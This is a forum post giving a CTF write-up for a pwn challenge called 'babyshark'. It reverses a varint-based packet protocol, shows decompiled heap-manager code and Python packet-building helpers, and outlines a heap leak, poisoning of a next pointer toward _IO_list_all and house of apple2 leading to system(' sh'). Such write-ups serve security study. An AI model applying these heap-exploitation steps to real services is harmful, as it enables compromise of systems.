首页
社区
课程
招聘
[原创]港湾杯决赛--babyshark
发表于: 2025-9-16 18:49 3135

[原创]港湾杯决赛--babyshark

2025-9-16 18:49
3135

昨天刚刚结束的湾区杯
全场只有5解的pwn题,差点拿到3血(其实差了不少: / )
失去了AI的辅助,全身心投入逆向分析,看起来也不是件坏事

本题的数据传输采取了类似protobuf的序列化/反序列化数据包传输指令
所以我们在进行堆利用前要将自定义的vm操作梳理清楚

在主逻辑前,先是进行了对时间种子的设置
经典的伪随机数
图片描述 图片描述
随后是个循环读入
注意看这里读入的循环判断,是当前读入的字节(char)为负数
图片描述

读入后进行了dump_num操作,按照一定格式把str转化为__int64

可以看到在循环中,将字符转化为数字,并使用"|"运算和"<<"运算将数字不断拼接
只有当前读入的字符对应的ascii为负数,才会继续读入
最终读取到对应正数的字符停止循环,将字符串对应的数字和有效字符串长度记录在sizen9_1变量中
下图代表了每个字节在此vm中的意义
图片描述
而且负数只会取有效数部分而忽略正负标志位(flag)所以我们想要读入一个数字也要按照它设定的规则进行数字的传递,如下

必须为保证想要读入的每一位对应的字符的正负标志位为1,我们可以为每位(除了最高位)都"|"上一个0x80(char类型的正负标志位),最高一字节保持正常(ascii对应为正数)
图片描述
预期情况下会申请一个我们刚刚传入大小的堆块,并要求我们输入申请大小的数据

随后返回main函数调用dump_opcode函数

首先从上个函数读入的内容中开始使用dump_num取出一个数字
根据最低三比特与第四比特的bool标志进入不同的分支
分别opcode的不同字段设置内容/设置不同内容对应的标志位
从这个函数中我们也能分析出对应的opcode结构体

其中

随后根据数据包中idx的数值,使用get_idx转化真实的idx

可以看到idx的获取,是数据包中的Idx成员与随机数进行xor,然后高低位反转,作为最后真正的idx
据此我们可以逆向分析得到如何输入Idx

随后进入到了堆块管理系统
根据数据包中opcode成员,进入不同的处理函数

图片描述
可以看到,进行create操作,需要传入的结构体中存在size,content content_lenth成员存在

简单进行判断后,将size,ptr,Idflag低位存入全局变量list
然后将content使用memcpy复制进去,并对结尾进行置零操作
由于对size与content_lenth进行了完备的检查,此处不存在溢出
我们需要发送一下数据包进行create操作的请求

图片描述
通过log说明,需要Idx,sizecontent(lenth)

通过Idx在bss上寻址,找到对应堆块,将内容复制并置零
同样对长度有完备的检查,不存在溢出
以下结构进行edit请求

正常的delet操作,不存在uaf漏洞

正常show

出题人给了一次uaf机会,且在uaf后调用了一次可以无限栈溢出的函数overflow
以下结构请求uaf操作

由于create和edit操作中都有置零操作,所以不存在泄露libc/heap信息的机会
想要泄露信息只能通过uaf后的show,那么我们就无法利用uaf中的overflow函数
之后无论是劫持IO结构体还是劫持栈上的返回值都是可以getshell/orw的

通过简单堆风水进行heap与libc的泄露

污染next指针为_IO_list_all,将其劫持到堆上的可控地址中

经典的house of apple2,调用system(" sh")getshell

本道题解数少,最重要的原因是结构体算法的逆向复杂+耗费时间,且由于ctf+awdp并发进行,pwn手只能专注于一方面的攻击
无论是在ctf还是iot的学习中,我总感觉自己的逆向能力在AI的帮助下不断退化,可能这也是不少pwn手目前的真实写照
在去AI的情况下打出这道题,真的让我很开心 : )

__int64 __fastcall dump_num(_QWORD *size, __int64 ptr, unsigned __int64 n9_1, unsigned __int64 *len)
{
  unsigned __int64 v4; // rax
  char v6; // [rsp+27h] [rbp-19h]
  unsigned __int64 n9; // [rsp+28h] [rbp-18h]
  char v8; // [rsp+34h] [rbp-Ch]
  __int64 v9; // [rsp+38h] [rbp-8h]
 
  v9 = 0LL;
  v8 = 0;
  n9 = 0LL;
  while ( n9 < n9_1 && n9 <= 9 )
  {
    v4 = n9++;
    v6 = *(_BYTE *)(ptr + v4);
    v9 |= (unsigned __int64)(v6 & 0x7F) << v8;
    if ( v6 >= 0 )
    {
      *size = v9;
      *len = n9;
      return 0LL;
    }
    v8 += 7;
  }
  return 0xFFFFFFFFLL;
}
__int64 __fastcall dump_num(_QWORD *size, __int64 ptr, unsigned __int64 n9_1, unsigned __int64 *len)
{
  unsigned __int64 v4; // rax
  char v6; // [rsp+27h] [rbp-19h]
  unsigned __int64 n9; // [rsp+28h] [rbp-18h]
  char v8; // [rsp+34h] [rbp-Ch]
  __int64 v9; // [rsp+38h] [rbp-8h]
 
  v9 = 0LL;
  v8 = 0;
  n9 = 0LL;
  while ( n9 < n9_1 && n9 <= 9 )
  {
    v4 = n9++;
    v6 = *(_BYTE *)(ptr + v4);
    v9 |= (unsigned __int64)(v6 & 0x7F) << v8;
    if ( v6 >= 0 )
    {
      *size = v9;
      *len = n9;
      return 0LL;
    }
    v8 += 7;
  }
  return 0xFFFFFFFFLL;
}
def m(n):
    num=b""
    while n:
        t=n&0x7f
        n=n>>7
        t|=0x80
        num+=p8(t)
    s=u8(num[-1:])
    num=num[:-1]
    num+=p8(s-0x80)
    return num
def m(n):
    num=b""
    while n:
        t=n&0x7f
        n=n>>7
        t|=0x80
        num+=p8(t)
    s=u8(num[-1:])
    num=num[:-1]
    num+=p8(s-0x80)
    return num
__int64 __fastcall dump_opcode(__int64 ptr, unsigned __int64 size, opchunk *opcode)
{
  unsigned __int64 n9; // [rsp+28h] [rbp-48h] BYREF
  __int64 num2; // [rsp+30h] [rbp-40h] BYREF
  unsigned __int64 n9_1; // [rsp+38h] [rbp-38h] BYREF
  __int64 num; // [rsp+40h] [rbp-30h] BYREF
  unsigned __int64 len; // [rsp+48h] [rbp-28h] BYREF
  unsigned __int64 num1; // [rsp+50h] [rbp-20h] BYREF
  __int64 n3; // [rsp+58h] [rbp-18h]
  unsigned __int64 n4; // [rsp+60h] [rbp-10h]
  unsigned __int64 now_len; // [rsp+68h] [rbp-8h]
 
  memset(opcode, 0, sizeof(opchunk));
  now_len = 0LL;
  while ( now_len < size )
  {
    if ( (unsigned int)dump_num(&num1, ptr + now_len, size - now_len, &len) )
      return 0xFFFFFFFFLL;
    now_len += len;
    n4 = num1 >> 3;                             // 右移3位
    n3 = num1 & 7;                              // 最3低位
    if ( (num1 & 7) != 0 )
    {
      if ( n3 != 2 )
        return 0xFFFFFFFFLL;
      if ( (unsigned int)dump_num(&num2, ptr + now_len, size - now_len, &n9) )// 最低位为2
        return 0xFFFFFFFFLL;
      now_len += n9;
      if ( size < num2 + now_len )              // num2大于剩余空间
        return 0xFFFFFFFFLL;
      if ( n4 == 4 )
      {
        opcode->content_ptr = now_len + ptr;    // 剩余内容的起始指针
        opcode->content_lenth = num2;           // 第二个num(?)
        opcode->content_flag = 1;               // 标志位
      }
      now_len += num2;
    }
    else                                        // 低三位为0
    {
      if ( (unsigned int)dump_num(&num, ptr + now_len, size - now_len, &n9_1) )
        return 0xFFFFFFFFLL;
      now_len += n9_1;
      switch ( n4 )                             // 右移三位
      {
        case 1uLL:
          opcode->opcode = num;
          opcode->opcode_flag = 1;
          break;
        case 2uLL:
          opcode->Idx = num;
          opcode->Idx_flag = 1;
          break;
        case 3uLL:
          opcode->size = num;
          opcode->size_flag = 1;
          break;
      }
    }
  }
  return 0LL;
}
__int64 __fastcall dump_opcode(__int64 ptr, unsigned __int64 size, opchunk *opcode)
{
  unsigned __int64 n9; // [rsp+28h] [rbp-48h] BYREF
  __int64 num2; // [rsp+30h] [rbp-40h] BYREF
  unsigned __int64 n9_1; // [rsp+38h] [rbp-38h] BYREF
  __int64 num; // [rsp+40h] [rbp-30h] BYREF
  unsigned __int64 len; // [rsp+48h] [rbp-28h] BYREF
  unsigned __int64 num1; // [rsp+50h] [rbp-20h] BYREF
  __int64 n3; // [rsp+58h] [rbp-18h]
  unsigned __int64 n4; // [rsp+60h] [rbp-10h]
  unsigned __int64 now_len; // [rsp+68h] [rbp-8h]
 
  memset(opcode, 0, sizeof(opchunk));
  now_len = 0LL;
  while ( now_len < size )
  {
    if ( (unsigned int)dump_num(&num1, ptr + now_len, size - now_len, &len) )
      return 0xFFFFFFFFLL;
    now_len += len;
    n4 = num1 >> 3;                             // 右移3位
    n3 = num1 & 7;                              // 最3低位
    if ( (num1 & 7) != 0 )
    {
      if ( n3 != 2 )
        return 0xFFFFFFFFLL;
      if ( (unsigned int)dump_num(&num2, ptr + now_len, size - now_len, &n9) )// 最低位为2
        return 0xFFFFFFFFLL;
      now_len += n9;
      if ( size < num2 + now_len )              // num2大于剩余空间
        return 0xFFFFFFFFLL;
      if ( n4 == 4 )
      {
        opcode->content_ptr = now_len + ptr;    // 剩余内容的起始指针
        opcode->content_lenth = num2;           // 第二个num(?)
        opcode->content_flag = 1;               // 标志位
      }
      now_len += num2;
    }
    else                                        // 低三位为0
    {
      if ( (unsigned int)dump_num(&num, ptr + now_len, size - now_len, &n9_1) )
        return 0xFFFFFFFFLL;
      now_len += n9_1;
      switch ( n4 )                             // 右移三位
      {
        case 1uLL:
          opcode->opcode = num;
          opcode->opcode_flag = 1;
          break;
        case 2uLL:
          opcode->Idx = num;
          opcode->Idx_flag = 1;
          break;
        case 3uLL:
          opcode->size = num;
          opcode->size_flag = 1;
          break;
      }
    }
  }
  return 0LL;
}
struct __fixed opchunk // sizeof=0x38
{
    __int64 opcode;
    __int64 Idx;
    __int64 size;
    __int64 content_ptr;
    __int64 content_lenth;
    int opcode_flag;
    int Idx_flag;
    int size_flag;
    int content_flag;
};
struct __fixed opchunk // sizeof=0x38
{
    __int64 opcode;
    __int64 Idx;
    __int64 size;
    __int64 content_ptr;
    __int64 content_lenth;
    int opcode_flag;
    int Idx_flag;
    int size_flag;
    int content_flag;
};
__int64 __fastcall get_idx(char long2)
{
  return sub_132A(Rand ^ long2, 5) & 0xF;
}
__int64 __fastcall sub_132A(unsigned __int8 a1, char n5)
{
  return (a1 << (n5 & 7)) | (unsigned int)((int)a1 >> (8 - (n5 & 7)));
}
__int64 __fastcall get_idx(char long2)
{
  return sub_132A(Rand ^ long2, 5) & 0xF;
}
__int64 __fastcall sub_132A(unsigned __int8 a1, char n5)
{
  return (a1 << (n5 & 7)) | (unsigned int)((int)a1 >> (8 - (n5 & 7)));
}
def idx(Id):
    t1=Id&31
    t2=(Id-t1)>>5
    t1=t1<<3#高低位反转
    return (t2+t1)^cookie#cookie为随机数
def idx(Id):
    t1=Id&31
    t2=(Id-t1)>>5
    t1=t1<<3#高低位反转
    return (t2+t1)^cookie#cookie为随机数
int __fastcall create(size_t size, const void *src, size_t n0x100000_2)
{
  size_t n0x100000_1; // rax
  void *dest; // [rsp+28h] [rbp-18h]
  size_t n; // [rsp+30h] [rbp-10h]
  int i; // [rsp+38h] [rbp-8h]
  int i_1; // [rsp+3Ch] [rbp-4h]
 
  if ( !size || size > 0x100000 )
    return puts("bad size");
  i_1 = -1;
  for ( i = 0; i <= 15; ++i )
  {
    if ( !LODWORD(list[i].flag) )
    {
      i_1 = i;
      break;
    }
  }
  if ( i_1 < 0 )
    return puts("full");
  dest = malloc(size);
  if ( !dest )
  {
    puts("oom");
    exit(1);
  }
  list[i_1].ptr = (__int64)dest;
  list[i_1].size = size;
  list[i_1].Id = 0LL;
  LODWORD(list[i_1].flag) = 1;
  n = 0LL;
  if ( src && n0x100000_2 )
  {
    n0x100000_1 = size;
    if ( n0x100000_2 <= size )
      n0x100000_1 = n0x100000_2;
    n = n0x100000_1;
    memcpy(dest, src, n0x100000_1);
  }
  list[i_1].Id = n;
  *((_BYTE *)dest + n) = 0;
  return printf("ok idx=%d\n", i_1);
}
int __fastcall create(size_t size, const void *src, size_t n0x100000_2)
{
  size_t n0x100000_1; // rax
  void *dest; // [rsp+28h] [rbp-18h]
  size_t n; // [rsp+30h] [rbp-10h]
  int i; // [rsp+38h] [rbp-8h]
  int i_1; // [rsp+3Ch] [rbp-4h]
 
  if ( !size || size > 0x100000 )
    return puts("bad size");
  i_1 = -1;
  for ( i = 0; i <= 15; ++i )
  {
    if ( !LODWORD(list[i].flag) )
    {
      i_1 = i;
      break;
    }
  }
  if ( i_1 < 0 )
    return puts("full");
  dest = malloc(size);
  if ( !dest )
  {
    puts("oom");
    exit(1);
  }
  list[i_1].ptr = (__int64)dest;
  list[i_1].size = size;
  list[i_1].Id = 0LL;
  LODWORD(list[i_1].flag) = 1;
  n = 0LL;
  if ( src && n0x100000_2 )
  {
    n0x100000_1 = size;
    if ( n0x100000_2 <= size )
      n0x100000_1 = n0x100000_2;
    n = n0x100000_1;
    memcpy(dest, src, n0x100000_1);
  }
  list[i_1].Id = n;
  *((_BYTE *)dest + n) = 0;
  return printf("ok idx=%d\n", i_1);
}
def add(size,content):
    payload =m(1<<3)+m(1)
    payload+=m(3<<3)+m(size)
    payload+=m(2+(4<<3))+m(len(content))+content
    print(m(len(payload)))
    io.send(m(len(payload)))
    io.send(payload)
def add(size,content):
    payload =m(1<<3)+m(1)
    payload+=m(3<<3)+m(size)
    payload+=m(2+(4<<3))+m(len(content))+content
    print(m(len(payload)))
    io.send(m(len(payload)))
    io.send(payload)
int __fastcall edit(unsigned int idx, size_t Size, const void *src, size_t ture_len)
{
  size_t n_1; // rax
  size_t n; // [rsp+28h] [rbp-18h]
  chunk_list *v7; // [rsp+38h] [rbp-8h]
 
  if ( idx >= 0x10 || !LODWORD(list[idx].flag) )
    return puts("bad idx");
  if ( !src )
    return puts("need data");
  v7 = &list[idx];
  if ( Size > v7->size )
    return puts("too long");
  n_1 = ture_len;
  if ( Size <= ture_len )
    n_1 = Size;
  n = n_1;
  memcpy((void *)v7->ptr, src, n_1);
  v7->Id = n;
  *(_BYTE *)(v7->ptr + n) = 0;
  return puts("edited");
}
int __fastcall edit(unsigned int idx, size_t Size, const void *src, size_t ture_len)
{
  size_t n_1; // rax
  size_t n; // [rsp+28h] [rbp-18h]
  chunk_list *v7; // [rsp+38h] [rbp-8h]
 
  if ( idx >= 0x10 || !LODWORD(list[idx].flag) )
    return puts("bad idx");
  if ( !src )
    return puts("need data");
  v7 = &list[idx];
  if ( Size > v7->size )
    return puts("too long");
  n_1 = ture_len;
  if ( Size <= ture_len )
    n_1 = Size;
  n = n_1;
  memcpy((void *)v7->ptr, src, n_1);
  v7->Id = n;
  *(_BYTE *)(v7->ptr + n) = 0;
  return puts("edited");
}
def edit(Id,content):
    payload =m(1<<3)+m(2)
    payload+=m(2<<3)+m(idx(Id))
    payload+=m(3<<3)+m(len(content))
    payload+=m(2+(4<<3))+m(len(content))+content
    io.send(m(len(payload)))
    io.send(payload)
def edit(Id,content):
    payload =m(1<<3)+m(2)
    payload+=m(2<<3)+m(idx(Id))
    payload+=m(3<<3)+m(len(content))
    payload+=m(2+(4<<3))+m(len(content))+content
    io.send(m(len(payload)))
    io.send(payload)
int __fastcall delet(unsigned int n0x10)
{
  if ( n0x10 >= 0x10 || !LODWORD(list[n0x10].flag) )
    return puts("bad idx");
  free((void *)list[n0x10].ptr);
  LODWORD(list[n0x10].flag) = 0;
  return puts("freed");
}
int __fastcall delet(unsigned int n0x10)
{
  if ( n0x10 >= 0x10 || !LODWORD(list[n0x10].flag) )
    return puts("bad idx");
  free((void *)list[n0x10].ptr);
  LODWORD(list[n0x10].flag) = 0;
  return puts("freed");
}
def free(Id):
    payload =m(1<<3)+m(3)
    payload+=m(2<<3)+m(idx(Id))
    io.send(m(len(payload)))
    io.send(payload)
def free(Id):
    payload =m(1<<3)+m(3)
    payload+=m(2<<3)+m(idx(Id))

传播安全知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2025-9-16 21:27 被zer00ne编辑 ,原因:
上传的附件:
收藏
免费 4
支持
分享
最新回复 (1)
雪    币: 2573
活跃值: (10630)
能力值: (RANK:438 )
在线值:
发帖
回帖
粉丝
2
感谢分享。方便的话请上传一下题目附件,方便其他读者复现,谢谢~
2025-9-16 21:21
0
游客
登录 | 注册 方可回帖
返回